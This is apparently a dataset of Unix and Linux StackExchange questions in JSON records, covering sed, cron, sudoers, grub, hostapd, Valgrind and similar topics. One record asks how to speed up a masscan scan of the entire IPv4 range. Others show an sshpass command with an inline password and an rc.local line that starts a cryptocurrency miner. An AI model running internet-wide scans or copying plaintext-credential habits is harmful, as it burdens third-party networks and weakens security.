net.ipv4.tcp_fin_timeout = 30 net.netfilter.nf_conntrack_tcp_timeout_established=54000 I'm trying to do this: ./masscan 0.0.0.0/0 -p 80 --rate 500000 --exclude exclude.conf -oG output.txt I want to increase the rate from `500,000` to `5,000,000`. I have 100 mbps. I'm trying to change the rate from `100,000` to upper borders. Nevertheless, my `net.netfilter.nf_conntrack_count` doesn't grow more than `1,609,909`. And remaining time 73 hours 20 minutes, with rate 100k or 500k, it doesn't matter. Other settings: net.core.rmem_default = 4194304 net.core.wmem_default = 4194304 net.core.rmem_max = 4194304 net.core.wmem_max = 4194304 net.ipv4.tcp_rmem = 4096 65536 4194304 net.ipv4.tcp_wmem = 4096 16384 4194304 Seems like something else needs to be increased. Looks like somewhere insufficient memory or record fields. How do I find the bottle neck?"} {"_id": "85164", "title": "Privileges on Linux?", "text": "In Linux, I had created a userid. After creating this, I encountered a problem that the .EXE Files are not opened on simple click. They seem to be not privileged for my user account. How can I overcome from this?"} {"_id": "41073", "title": "shorten long lines in a log file", "text": "I keep a logfile of a program's output. The trouble is sometimes errors occur dumping very long lines of 7bit ascii data(encoded binary) I don't care to keep. These lines can be 200KB+ long before reaching a newline. What might be a short, pipeable way eg. with `sed` to change only lines exceeding 250 characters long, by keeping only the first 80 and last 40 characters of that line, possibly replacing the middle with only a ___?"} {"_id": "59745", "title": "How to set Cmnd_Alias properly?", "text": "I have one script to allow for one user to run. The string calling it from the command line looks like ./script path/to/folder -a option='value' When I try to add it to the other commands in Cmnd_Alias line, sudo blames sudoers file for incorrect syntax. How can I set such commands properly?"} {"_id": "134707", "title": "full linux (not android) 7-inch tablet?", "text": "are there any 7-inch tablets that can boot natively into a full version of linux? I want to remove Android. All traces of it. I don't want a jail. I want to program the hardware fully, without limitations. from bootup, not with sideloaded linux. it does not have to be ubuntu touch. I think pengod shut down. In a sense, we don't need new hardware. we need a software flash. Alibaba is full of cheap 7-inch android tablets in the $50-$100 range. HP, Toshiba, Hisense, and others are selling them around $120. can't any of these be flashed into linux of some form or another?? I would be happy to buy more than one of them. does this kind of device exist? /iaw"} {"_id": "119502", "title": "Installing extra packages of Debian Wheezy from terminal (after a net install)", "text": "I've installed the small image of Debian Wheezy from here but had to skip the mirror install of the extra packages. Now that I have the command line how do I get the rest of the stuff? When I tried `apt-get install ssh-server`, it told me to insert the CD."} {"_id": "59740", "title": "RPM Operating System Binary Compatibility", "text": "When I read through the differences between Cent, OpenSuse, and Fedora, they frequently say that Cent and Red Hat are binary compatible. My experience has been (debian/ubuntu) that regardless of distro binary files will run and packages are compatible if they use the same package manager. So why do these articles emphasize that Cent and Red Hat are binary compatible or are my assumptions wrong."} {"_id": "134703", "title": "What is the best tool for automating the building 32-64bit libraries for Unix & Windows building C++ software, replicable by users and machines?", "text": "Is there a system or product that can be used in automating the process of building 32bit and 64bit libraries for multiple platforms (Solaris (Sparc & x86), and windows) used in building C++ based software applications that is replicable by other users and on different machines? I'm searching to see if there is a product or system that is available to automate the process of compiling libraries as new ones come out for our software builds. We build software products in Solaris and Windows both 32bit and 64bit. We want to build the new libraries and then place them out in SVN or on a server for developers to grab. We need a process that is documentable and able to be done by any of our developers and able to be easily setup and reproduced on any machine. The two options we are using so far is OSC scripting and bash scripting. I'm looking for more options. All I am concerned mostly about building the libraries, not the applications. I want the new libraries available for the developers to use in their builds. This is C++ development."} {"_id": "41074", "title": "resolve all ip addresses in command output using standard command line tools", "text": "I have several log files that contain a bunch of ip addresses. I would love to be able to pipe the data through a program that would match and resolve ip addresses. I.E. cat /var/log/somelogfile | host which would turn a line like > 10:45 accessed by 10.13.13.10 into > 10:45 accessed by myhostname.intranet My thought is there might be a way to do this with a combination of sed and host, but I have no idea how to do so. I know that I could write a simple script that would do it, but I would rather be able to use built in tools if possible. Any suggestions?"} {"_id": "12980", "title": "Do any \"All In One\" Printer/Scanners work on Linux?", "text": "> **Mod note** : The entire network is pretty against shopping recommendation > questions; there was an attempt to edit this one to avoid it, but it seems > to have failed. The goal is \"how do I decide which printer to buy\", not > \"which printer should I buy\". If you're naming a specific model in your > answer, you're probably doing it wrong I am interested in purchasing a printer and scanner and would very much like the convenience of using an all-in-one model. The issue is that I am a very strict user of Debian GNU/Linux. I have heard very bad things about all-in-one support. I'm looking for low-end (preferably even store-bought models) that I can safely print and scan with, using free software. If I have to install a non- free binary driver; I would do so, but it wouldn't be my preference. However, I do want to ensure it works with Debian. What resources can I consult before buying to ensure the model I select will work? And if only a few models work, how can I find the needle in the haystack?"} {"_id": "129105", "title": "Most reliable way to check for connected client?", "text": "I have an embedded Linux OS developed from scratch using Yocto. This talks to a Windows XP/7 client. The embedded OS runs a DHCP server and gives an address to the client. The problem is that the client is \"locked down\" and blocks many standard ports and methods of doing things. If the client is detected present by the embedded system, my startup script will launch the server that tests the system; otherwise I kexec to another OS. **What is the best way to detect if a client connected over Ethernet is there on startup (in Linux) without adding significant bootup time to the system?** Here are the things I've tried and what does not work: 1. ICMP packets are blocked on the client side so traditional pinging does not work 2. arping works (as well as nmap using ARP scan) but Windows clients try to be \"smart\" and dial out so it takes 20-25 seconds to actually establish the connection, which is unacceptable; ideally, it should detect something in 5-10 seconds. Is there anything I can set on the server side to speed this up? It always boots into this partition first so the quickest solution is the best solution. 3. ifplugd, ethtool, netplugd, and probing /sys/class/net/eth0/operstate and /sys/class/net/eth0/carrier do not work because the Ethernet port on the embedded system is connected to an internal switch so it is always \"up\" and \"connected\" hardware wise 4. A future solution will likely use Bonjour on the client side and Avahi on the server so we can have a connectionless protocol, but this will take time to implement and I need an interim solution because any software we add to the client side takes a very long time to get approval for. Again, I can't do anything on the client side because these units are configured by another company and locked down. So what else can I try on the server to detect if the client is present?"} {"_id": "129109", "title": "Distributed video encoding with ffmpeg", "text": "I'm in a process of giving form to a very old dream of mine - to create **an efficient and cheap video encoding platform**. And following the great examples such as SETI@home, BitTorrent and BitCoin, it's gotta be a _distributed one_ :) If anyone has some thoughts on my current concept, I would be glad to receive them. This is my toolset I chose for the task: * Vagrant for the virtual box that will contain the whole thing * ffmpeg for video conversions * Transmission BitTorrent client to transfer splitted video files (partials) for distributed conversion * bittorrent-dht for getting peers and their IP addresses in file transfers and to determine full nodes to connect to (with open ports) in order to join the actual distributed network * Hazelcast in-memory data grid to manage messaging between nodes * RHash to calculate and verify Magnet links * PeerGuardian for general protection from government spies and manual blacklisting of malicious nodes * Apache and PHP to create front-end interface used to actually manage the workflow A flowchart of how this all could work can be found here (careful, it's a bit scary :P): http://www.gliffy.com/go/publish/image/5726894/L.png The actual project repo is here: https://github.com/martinambrus/ffmpeg-dht"} {"_id": "93631", "title": "Extract audio from video in Linux with a GUI program?", "text": "When I use Thunar I like adding to custom actions command lines like those presented here, here and here to extract audio from videos. I mean **without transcoding/altering the sound, just putting it out of the video** (a flv or mp4 video, for example, is a aac audio - which cannot be played as such, but rapped into a m4a, like in the the command in the links posted. a webm video has a ogg audio which needs to be extracted.) Now, I am using elementayOS, and will not use Thunar, nor Nautilus, just Pantheon-Files. I want to know if there is a GUI solution to achieve this."} {"_id": "134165", "title": "Hidden password is being displayed when invoking the su command?", "text": "This is the first time it has happened to me where I am using the su command and it actually displays the password on the terminal and doesn't stay hidden. Here is my code snippet: sshpass -p \"password\" ssh -q username@74.11.11.11 \"su -lc 'mkdir temp/'\" Code explanation: I am accessing a remote server and trying be root on that server to create a folder. In doing so I have to use the su command and it prompts me for the password. When I enter the password, it gets displayed and doesn't stay hidden."} {"_id": "121477", "title": "\"sudo service uwsgi restart\" returns [fail] however uwsgi logs show processes have been created and python app is running", "text": "I'm running a local vagrant VM, Ubuntu 13.10 with nginx reverse proxying to uwsgi. Running sudo /etc/init.d/nginx status returns * nginx is running However running sudo /etc/init.d/uwsgi status returns * which one? If I take a look at the log file for the wsgi app I can see that uwsgi is running, worker processes have been created etc... so is there a hidden instance of uwsgi running somewhere that's confusing the service restart command? I installed uwsgi using: apt-get install uwsgi Here's the app.ini file: [uwsgi] plugin = python socket = /run/uwsgi/app/myapp/socket chdir = /var/www/myapp module = project.wsgi:application pidfile = /tmp/myapp-master.pid master = True daemonize = /var/log/uwsgi/myapp.log Any ideas?"} {"_id": "121473", "title": "Should Unix sub-command names be case sensitive?", "text": "Commands like `git`, `hg`, and `apt-get` all have sub-commands (is there a better name?), and they are all case-sensitive: hg log # not hg Log git status # not git Status sudo apt-get install nano # not sudo apt-get Install nano Obviously a lot of things in Unix need to be case-sensitive, because that's kind of how Unix is. But in this case, there's no potential ambiguity. Those arguments can only be command names and can't be anything else (can they?). `git`'s error message suggests that this is the case: > git Status git: 'Status' is not a git command. See 'git --help'. Did you mean this? status Besides adding just a little more frustration for beginners and conforming to Unix culture, is there any reason to be case-sensitive?"} {"_id": "11873", "title": "I don't want other users see my processes in ps aux. I have root. It's Debian. How to use grsec?", "text": "I installed 'linux-patch-grsecurity2' and it has some sort of interface. ~$ sudo gradm2 gradm 2.1.14 grsecurity administration program Usage: gradm [option] ... Examples: gradm -P gradm -F -L /etc/grsec/learning.logs -O /etc/grsec/policy Options: -E, --enable Enable the grsecurity RBAC system -D, --disable Disable the grsecurity RBAC system -C, --check Check RBAC policy for errors -S, --status Check status of RBAC system -F, --fulllearn Enable full system learning -P [rolename], --passwd Create password for RBAC administration or a special role -R, --reload Reload the RBAC system while in admin mode -L , --learn Specify the pathname for learning logs -O , --output Specify where to place policies generated from learning mode -M , --modsegv Remove a ban on a specific file or UID -a , --auth Authenticates to a special role that requires auth -u, --unauth Remove yourself from your current special role -n , --noauth Transitions to a special role that doesn't require authentication -p , --pamauth Authenticates to a special role through PAM -V, --verbose Display verbose policy statistics when enabling system -h, --help Display this help -v, --version Display version information I didn't successfully find any documentation on how to use it to limit the 'ps aux' list for users?"} {"_id": "11871", "title": "Is it possible to save as sudo from nano after you've forgotten to run as sudo?", "text": "A lot of the time I edit a file with nano, try to save and get a permission error because I forgot to run it as sudo. Is there some quick way I can become sudo without having to re-open and re-edit the file?"} {"_id": "11876", "title": "Sed: how to replace nextline \\n symbol in text files?", "text": "I need to fix an error and to replace the second tag `` with ` in an XML file with the following structure: substancesummit ss asdsadsa substancesummit ss asdsadsa I'm trying to do it using sed and since I have 2 `` closing tag per item, my idea is to replace `` with ``. However there is a next line symbol in between, so I'm using `\\n` but it doesn't work: sed 's/time>\\n/tags>\\n/g' old.xml > new.xml Any help?"} {"_id": "11877", "title": "cron not executing?", "text": "I have the following cron tab installed: crontab -l # m h dom mon dow command */10 * * * * \"echo\" >> /tmp/cron.log The server is at rackspace, it's a cloud server: Linux myserver #8 SMP Mon Sep 20 15:54:33 UTC 2010 x86_64 GNU/Linux Ubuntu 10.04 LTS When I added this entry to the crontab using `crontab -e` I got the following message when I saved it: crontab: installing new crontab But it's not being executed, what is missing?"} {"_id": "11874", "title": "How do I make a certain command sudo-only on Debian?", "text": "What user and group should I chown it to? All admins are in 'admins' group. How do I chmod it?"} {"_id": "45304", "title": "Establishing an AP on Raspberry pi", "text": "I'm trying to setup an access point, using Raling RT5370 USB Dongle on a Debian system, I followed the following tutorial, until \"Internet connection Sharing.\", I don't want to share internet, so I skip this step. After the reboot I can see the AP, but I can't connect, it seams I can't get an IP address, how can I debug on raspberry to see what's happening or where did I made the mistake? This is my dhcpd.conf file content: ddns-update-style none; subnet 10.10.0.0 netmask 255.255.255.0 { range 10.10.0.2 10.10.0.16; option domain-name-servers 8.8.4.4, 208.67.222.222; option routers 10.10.0.1; } The system log: Aug 11 20:47:46 raspberrypi dhcpd: Wrote 0 leases to leases file. Aug 11 20:47:46 raspberrypi dhcpd: Aug 11 20:47:46 raspberrypi dhcpd: No subnet declaration for wlan0 (no IPv4 addresses). Aug 11 20:47:46 raspberrypi dhcpd: ** Ignoring requests on wlan0. If this is not what Aug 11 20:47:46 raspberrypi dhcpd: you want, please write a subnet declaration Aug 11 20:47:46 raspberrypi dhcpd: in your dhcpd.conf file for the network segment Aug 11 20:47:46 raspberrypi dhcpd: to which interface wlan0 is attached. ** Aug 11 20:47:46 raspberrypi dhcpd: Aug 11 20:47:46 raspberrypi dhcpd: Aug 11 20:47:46 raspberrypi dhcpd: Not configured to listen on any interfaces! sytemlog: Aug 11 21:00:23 raspberrypi hostapd: wlan0: STA 5c:0a:5b:24:43:d9 IEEE 802.11: disassociated Aug 11 21:00:23 raspberrypi hostapd: wlan0: STA 5c:0a:5b:24:43:d9 IEEE 802.11: disassociated Aug 11 21:00:26 raspberrypi hostapd: wlan0: STA 5c:0a:5b:24:43:d9 IEEE 802.11: authenticated Aug 11 21:00:26 raspberrypi hostapd: wlan0: STA 5c:0a:5b:24:43:d9 IEEE 802.11: associated (aid 1) Aug 11 21:00:26 raspberrypi kernel: [ 123.878201] BUG: scheduling while atomic: hostapd/1358/0x00000002 Aug 11 21:00:26 raspberrypi kernel: [ 123.878227] Modules linked in: aes_generic 8021q garp stp llc snd_bcm2835 snd_pcm snd_seq snd_timer snd_seq_device snd snd_page_alloc arc4 rt2800usb rt2800lib crc_ccitt rt2x00usb rt2x00lib mac80211 cfg80211 Aug 11 21:00:26 raspberrypi kernel: [ 123.878515] [] (unwind_backtrace+0x0/0xfc) from [] (dump_stack+0x20/0x24) Aug 11 21:00:26 raspberrypi kernel: [ 123.878580] [] (dump_stack+0x20/0x24) from [] (__schedule_bug+0x74/0x80) Aug 11 21:00:26 raspberrypi kernel: [ 123.878621] [] (__schedule_bug+0x74/0x80) from [] (__schedule+0x568/0x670) Aug 11 21:00:26 raspberrypi kernel: [ 123.878669] [] (__schedule+0x568/0x670) from [] (schedule+0x58/0x70) Aug 11 21:00:26 raspberrypi kernel: [ 123.878708] [] (schedule+0x58/0x70) from [] (schedule_timeout+0x1a0/0x34c) Aug 11 21:00:26 raspberrypi kernel: [ 123.878745] [] (schedule_timeout+0x1a0/0x34c) from [] (wait_for_common+0xf0/0x1c4) Aug 11 21:00:26 raspberrypi kernel: [ 123.878793] [] (wait_for_common+0xf0/0x1c4) from [] (wait_for_completion_timeout+0x1c/0x20) Aug 11 21:00:26 raspberrypi kernel: [ 123.878842] [] (wait_for_completion_timeout+0x1c/0x20) from [] (usb_start_wait_urb+0xac/0xd4) Aug 11 21:00:26 raspberrypi kernel: [ 123.878884] [] (usb_start_wait_urb+0xac/0xd4) from [] (usb_control_msg+0xd4/0xf8) Aug 11 21:00:26 raspberrypi kernel: [ 123.878962] [] (usb_control_msg+0xd4/0xf8) from [] (rt2x00usb_vendor_request+0xc0/0x144 [rt2x00usb]) Aug 11 21:00:26 raspberrypi kernel: [ 123.879030] [] (rt2x00usb_vendor_request+0xc0/0x144 [rt2x00usb]) from [] (rt2x00usb_vendor_req_buff_lock+0x70/0x120 [rt2x00usb]) Aug 11 21:00:26 raspberrypi kernel: [ 123.879105] [] (rt2x00usb_vendor_req_buff_lock+0x70/0x120 [rt2x00usb]) from [] (rt2x00usb_vendor_request_buff+0x78/0xbc [rt2x00usb]) Aug 11 21:00:26 raspberrypi kernel: [ 123.879182] [] (rt2x00usb_vendor_request_buff+0x78/0xbc [rt2x00usb]) from [] (rt2x00usb_register_multiread+0x48/0x50 [rt2800usb]) Aug 11 21:00:26 raspberrypi kernel: [ 123.879274] [] (rt2x00usb_register_multiread+0x48/0x50 [rt2800usb]) from [] (rt2800_get_tkip_seq+0x50/0x80 [rt2800lib]) Aug 11 21:00:26 raspberrypi kernel: [ 123.879588] [] (rt2800_get_tkip_seq+0x50/0x80 [rt2800lib]) from [] (ieee80211_get_key+0x1a8/0x1f8 [mac80211]) Aug 11 21:00:26 raspberrypi kernel: [ 123.879964] [] (ieee80211_get_key+0x1a8/0x1f8 [mac80211]) from [] (nl80211_get_key+0x288/0x328 [cfg80211]) Aug 11 21:00:26 raspberrypi kernel: [ 123.880130] [] (nl80211_get_key+0x288/0x328 [cfg80211]) from [] (genl_rcv_msg+0x1f0/0x23c) Aug 11 21:00:26 raspberrypi kernel: [ 123.880183] [] (genl_rcv_msg+0x1f0/0x23c) from [] (netlink_rcv_skb+0xcc/0xe8) Aug 11 21:00:26 raspberrypi kernel: [ 123.880219] [] (netlink_rcv_skb+0xcc/0xe8) from [] (genl_rcv+0x28/0x34) Aug 11 21:00:26 raspberrypi kernel: [ 123.880254] [] (genl_rcv+0x28/0x34) from [] (netlink_unicast+0x2c8/0x320) Aug 11 21:00:26 raspberrypi kernel: [ 123.880297] [] (netlink_unicast+0x2c8/0x320) from [] (netlink_sendmsg+0x210/0x328) Aug 11 21:00:26 raspberrypi kernel: [ 123.880341] [] (netlink_sendmsg+0x210/0x328) from [] (sock_sendmsg+0xb0/0xd0) Aug 11 21:00:26 raspberrypi kernel: [ 123.880380] [] (sock_sendmsg+0xb0/0xd0) from [] (__sys_sendmsg+0x318/0x338) Aug 11 21:00:26 raspberrypi kernel: [ 123.880428] [] (__sys_sendmsg+0x318/0x338) from [] (sys_sendmsg+0x4c/0x78) Aug 11 21:00:26 raspberrypi kernel: [ 123.880475] [] (sys_sendmsg+0x4c/0x78) from [] (ret_fast_syscall+0x0/0x48) Aug 11 21:00:26 raspberrypi hostapd: wlan0: STA 5c:0a:5b:24:43:d9 RADIUS: starting accounting session 5026C775-00000001 Aug 11 21:00:26 raspberrypi hostapd: wlan0: STA 5c:0a:5b:24:43:d9 WPA: pairwise key handshake completed (RSN) hostapd.conf interface=wlan0 driver=nl80211 ssid=quadcopter channel=1 hw_mode=g auth_algs=1 wpa=3 wpa_passphrase=1234567890 wpa_key_mgmt=WPA-PSK wpa_pairwise=TKIP CCMP rsn_pairwise=CCMP Interface auto lo iface lo inet loopback iface eth0 inet dhcp auto wlan0 iface wlan0 inet static address 10.10.0.1 netmask 255.255.255.0 ifconfig mon.wlan0 Link encap:UNSPEC HWaddr 00-0F-53-B1-13-41-00-00-00-00-00-00-00-00-00-00 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1812 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:545248 (532.4 KiB) TX bytes:0 (0.0 B) wlan0 Link encap:Ethernet HWaddr 00:0f:53:b1:13:41 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:11 errors:0 dropped:5 overruns:0 frame:0 TX packets:8 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1915 (1.8 KiB) TX bytes:1698 (1.6 KiB) Do I have to setup something else, because I can see the AP but I can't connect. I just tested on Ubuntu 12.04 and it's working, I did the same configuration on the Raspberry Pi, without success"} {"_id": "14809", "title": "\"Error: permission denied\" error from Transmission Client", "text": "i have done the following on my Asus WL-520gu 1. Installed the dd-wrtv24-sp2 mini svn:13064 2. Updated for usb support 3. Installed optware package 4. Activated the transmission client but i keep getting a permission error for files. I think it is a user access thing. How to resolve this issue? Is there any way to ignore user permissions on a drive? **Update:** i think it is due to the permissions of the user under which the transmission daemon is running. Can I change that user to root? I know where but don't know how `/etc/init.d/transmission`. ![enter image description here](http://i.stack.imgur.com/BoWYZ.png)"} {"_id": "139479", "title": "Bash if conditions of variables within intervals", "text": "I have some data spread over time intervals, and I want to take some of those data within the time intervals. For example, I have data at times within 1..9, 11..19, etc., and I want to take data within 1-2, then 11-12, etc. This will be part of a more complex `bash` script, in which I want to include this condition, with a `if` cycle, to isolate the times where I can catch the data. I was thinking something like: if (( $t_initial & $t_final )) in (begin1, fin1) or in (begin2, fin2) ... where `t_initial` and `t_final` are calculated separately, by the script itself. I can not write this condition in `bash` syntax. I found some other solutions, but they seem extremely long and inconvenient, so I am here to ask simpler and more readable solutions. * * * It is important that the code works properly with floats. I am trying to fix the OP solution for this, but still can't find a way."} {"_id": "145717", "title": "Command set in /etc/rc.local on Ubuntu 13.04 is ignored", "text": "I am trying to set my Ubuntu 13.04 machine in a way that, upon reboot, an instruction is executed and a program is launched with specific parameters, REGARDLESS of whether a user is logged on to the machine physically or by SSH. This is the instruction that needs to be executed: /root/ccminer/ccminer -a x11 -o stratum+tcp://drk.smartcoinpools.com:7903 -u XgZLPCQkGvvpK42jAAtgRHvs8J25xKn1XS -p picciolibeddi -q I have modified, therefore, my /etc/rc.local as follows: #!/bin/sh -e # # rc.local # # This script is executed at the end of each multiuser runlevel. # Make sure that the script will \"exit 0\" on success or any other # value on error. # # In order to enable or disable this script just change the execution # bits. # # By default this script does nothing. /root/ccminer/ccminer -a x11 -o stratum+tcp://drk.smartcoinpools.com:7903 -u XgZLPCQkGvvpK42jAAtgRHvs8J25xKn1XS -p picciolibeddi -q exit 0 I can't really understand why this instruction is totally ignored after rebooting, yet if I launch it manually from shell it works perfectly, so there are no errors of syntax in it. I would appreciate it loads if you could please help me, bearing in mind that I need to run this command BEFORE any user is logged in."} {"_id": "1681", "title": "Invoke Syscalls from Java", "text": "Is there a way to invoke syscalls directly from Java, or is it necessary to first call a native method?"} {"_id": "1680", "title": "using cross-compiled Valgrind", "text": "I have downloaded the sources from the Valgrind trunk and built it for using on an embedded Linux system(Montavista Linux) powered by an ARM926(ARMv5t architecture). Everything went well until I tried to run it to check some application I've made; Valgrind tells me: _\"valgrind: failed to start tool 'memcheck' for platform 'arm-linux': No such file or directory\"._ Trying to run any other tool gives the same message. For _make install_ I used the --prefix option pointing to the embedded system's filesystem which is mounted through NFS(e.g. --prefix=/home/NFS_mounted/opt/valgrind). I checked the installation location and the _lib_ directory there contains the proper tools; I also checked the corresponding pkgconfig file for Valgrind and it seems to be OK so I'm kind of clueless right now and can't figure out what's going wrong. 2 questions: 1. Is it correct to use/install a cross-compiled Valgrind like that? Maybe I'm doing something wrong regarding the setup, or maybe there is something involving the host system that I'm missing(gdb/gdbserver like). 2. Has anyone tried running it on ARM architectures? I'm aware that the support is fairly recent so I'm wondering if I could get decent results."} {"_id": "1685", "title": "Connecting to a network via another pc", "text": "What's a _simplistic_ recipe to connect my PC to my WLAN through my laptop? I have one wireless network, one desktop that (for practical reasons) has no connection to the WLAN, and one laptop with wireless and an ethernet port. I would like to run a cable from my desktop to my laptop, connect my laptop to my WLAN and forward the network to my desktop. Is there a solution?"} {"_id": "127880", "title": "Boot time discrepancy using systemd on Debian 7.4", "text": "I recently installed `systemd` on my Debian 7.4 system. The time from pressing the power button to usable desktop is around 42-44 seconds. The BIOS takes 6-7 seconds to load and transfer control to GRUB. GRUB has a timeout of 0, in `/etc/default/grub`. After that the system takes almost 35 seconds more. However, `systemd` reports taking just 19 seconds. $ systemd-analyze Startup finished in 4353ms (kernel) + 14291ms (userspace) = 18644ms That means, that there is a 16 second delay somewhere. This delay appears to occur just after GRUB finishes and transfers control to the OS. The boot process gets stuck on a screen that says \"Loading, please wait\" for this time. After the 16 seconds pass, I get a feedback stating these two things: systemd-fsck [..] : /dev/sda1 .... clean ... bad mmio address ... Firstly, what is taking these extra 16 seconds? Is it `fsck` or the `mmio` address error? I feel that it is `systemd-fsck`, and I have tried to solve the problem. I have edited `/etc/fstab` and changed the `pass` parameter to 0 for all volumes. However, this still continues to occur. So, how do I disable `fsck` on boot for the root (/dev/sda1) partition, or otherwise reduce the time during boot? This thread suggests a solution for non-root drives, which I haven't attempted on `/`."} {"_id": "1687", "title": "games directory?", "text": "On a standard filesystem, we have: /usr/games /usr/lib/games /usr/local/games /usr/share/games /var/games /var/lib/games Is this a joke, or is there some history behind this? What is it for? Why do we have separate and specialized directories for something like games?"} {"_id": "111630", "title": "MBR to GPT Conversion of existing RHEL 6 system", "text": "I have got RHEL 6 running on MBR (Master Boot Record), management is done using fdisk and parted commands. I would like to know the steps or procedure to convert existing system to GPT (GUID Partition Table) can be managed using (gdisk and gparted) for large disk support. Also wants to make sure whether system has got normal BIOS is EFI BIOS. Is there any command for that? And if system have got normal BIOS how to implement GPT?"} {"_id": "111603", "title": "How to access Win7 on a dual boot machine?", "text": "I've been dual booting Win7 and Ubuntu for about 4 months and I got on it today to change the default boot on grub, because my girlfriend kept getting locked out when it reboots and, by default, goes to the Ubuntu partition. I tried using the command promt. I used the command found here which was `sudo gedit /etc/default/grub` That didn't appear to do anything so I changed the grub using the file manager and changed \"Default grub=4\" which, is the boot I was supposed to use... This led to my Windows 7 partition dissapearing from the boot list, somehow, although all files are still showing up on the OS (checked through Ubuntu) and System Recovery shows my latest restore, attempted to restore and said it should be working.. So I'm assuming its hidden in some way? I'm using BT5R3. `/etc/default/grub:` # If you change this file, run 'update-grub' afterwards to update # /boot/grub/grub.cfg. GRUB_DEFAULT=4 #GRUB_HIDDEN_TIMEOUT=0 GRUB_HIDDEN_TIMEOUT_QUIET=true GRUB_TIMEOUT=10 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX_DEFAULT=\"text splash vga=791\" GRUB_CMDLINE_LINUX=\"\" # Uncomment to disable graphical terminal (grub-pc only) #GRUB_TERMINAL=console # The resolution used on graphical terminal # note that you can use only modes which your graphic card supports via VBE # you can see them in real GRUB with the command `vbeinfo' GRUB_GFXMODE=1024x768 # Uncomment if you don't want GRUB to pass \"root=UUID=xxx\" parameter to Linux #GRUB_DISABLE_LINUX_UUID=true # Uncomment to disable generation of recovery mode menu entries #GRUB_DISABLE_LINUX_RECOVERY=\"true\" # Uncomment to get a beep at grub start #GRUB_INIT_TUNE=\"480 440 1\" Shell history: 1 exit 2 startx 3 apt-get software center 4 apt-get software-center 5 sudo apt-get software-center 6 install software-center 7 mkdir /opt/java 8 mv -f jre1.70_05/ /opt/java 9 tar xzvf jre-7u45-linux-i586.tar.gz. 10 tar: tar xzvf jre-7u45-linux-i586.tar.gz 11 tar xzvf jre-7u45-linux-i586.tar.gz 12 apt-get install synaptic 13 help 14 install synaptic 15 apt-get synaptic 16 apt-get install synaptic 17 lspci -v 18 help] 19 help 20 help mapfile 21 help 22 info strict refs 23 startx 24 edit grub 25 search grub 26 apt-get install sphinxsearch 27 search grub 28 edit grub boot 29 find grub 30 startx 31 startsx 32 startx 33 -terminal 34 terminal 35 apt-get install rsplib-tools 36 --fix-missing 37 apt-get update 38 terminal 39 apt-get install rsplib-tools 40 terminal 41 update grub 42 update-grub 43 open partition manager 44 open 45 help 46 search partition manager 47 help 48 find partition manager 49 find partitionmanager 50 startx 51 find gparted 52 get gparted 53 get Gparted 54 get-apt Gparted 55 X-AppInstall-Package=gparted 56 help 57 startx 58 run history 59 history $ sudo grub-mkconfig > /dev/null Generating grub.cfg ... Found linux image: /boot/vmlinuz-3.2.6 Found initrd image: /boot/initrd.img-3.2.6 Found memtest86+ image: /boot/memtest86+.bin done $ sudo fdisk -l Disk /dev/sda: 1000.2 GB, 1000204886016 bytes 255 heads, 63 sectors/track, 121601 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0xb3b6d9a6 Device Boot Start End Blocks Id System /dev/sda1 * 1 13 102400 7 HPFS/NTFS Partition 1 does not end on cylinder boundary. /dev/sda2 13 83647 671785946 7 HPFS/NTFS /dev/sda3 83647 119927 291422209 5 Extended /dev/sda4 119927 121577 13249536 7 HPFS/NTFS /dev/sda5 83647 118706 281610240 83 Linux /dev/sda6 118706 119927 9810944 82 Linux swap / Solaris"} {"_id": "111632", "title": "Oh no! Something has gone wrong. A problem has ocurred and the system can't recover. Please contact a system administrator", "text": "I attempted `yum update` while installing VLC player so while updating my system got shutdown without my presence. After that when i wanted to reboot my system im getting an error `\"Oh no! Something has gone wrong. A problem has ocurred and the system can't recover. Please contact a system administrator\"` Did anybody ever face that problem, do you know what solution could work ?"} {"_id": "111633", "title": "How secure is keeping non-root owned scripts in /etc/init.d?", "text": "I have an application which runs as a daemon and is controlled by a script in /etc/init.d Sometimes we need to change some parameters of startup/control of these scripts and then restart the daemon. These scripts only have write permission for the root user, so when editing these scripts I need root privileges. What I was thinking is that should I make a non-root user the owner of those scripts. This way only root and a special user can edit these scripts. Is it acceptable to keep some non-root owned files under /etc/init.d directories? Or it is absurd, disturbing the natural order of the system?"} {"_id": "131346", "title": "How do I replace symlinks in a path with their target within a script?", "text": "I want to extract part of a file path up to a symlink, use `readlink` to find the path to the link target, and then replace the link name with the actual path. This has to be done within a script. For example, say I my original path is: /path/to/*latest*/files/test.txt # where *latest* is the symlink Then I run `readlink` to reveal the target of the symlink: readlink /path/to/*latest* ver2 The output of the script would then be /path/to/ver2/files/test.txt NOTE that the original path could have several links so I don't want to run readlink -f on the whole path and file name. i.e. readlink -f /path/to/latest/files/test.txt /data/today/to/v2/files/test.txt"} {"_id": "111637", "title": "ls -l --group-directories-first (act on symlinks as well)", "text": "`ls` option `\\--group-directories-first` causes directories to be listed on the top, which makes the output of `ls` nice and clean: ls -l --group-directories-first However, it does not act on `symlinks`, which are actually `symlinks` to directories. There is a possibility to use ls -l -L --group-directories-first which will list both kind of directories on top, but will not distinguish between proper directory and symlinked directory, which is again confusing. Can `ls` display symlinked directories on top, while still keeping them distinct from regular directories? **EDIT:** I am using `bash`."} {"_id": "29988", "title": "shell symbol for the just previously typed item?", "text": "Is there a way I can specify to bash to reuse the item I just previously typed? For instance, if I wanted to rename a file, adding a few characters as a prefix, I want to do something like $> mv file.txt new_{prev} and end up with `new_file.txt`. Is there such a symbol?"} {"_id": "154961", "title": "Can somebody explain the difference between IMAP and POP3", "text": "I dunno if I have right understanding or somewhat faulty understanding of the three topics. From a user-end perspective both IMAP or POP3 credentials are what I need if I need to have mail incoming to my e-mail client (let's say Mozilla Thunderbird) while SMTP credentials are needed for outgoing mail. I have read the Wikipedia article on all three and it doesn't tell me which of the two are more widely used and why. For instance, webmail services such as Gmail used to provide pop3 and smtp the last time I looked Update: Apparently this was in 90's and now everybody gives IMAP. Looking to know more."} 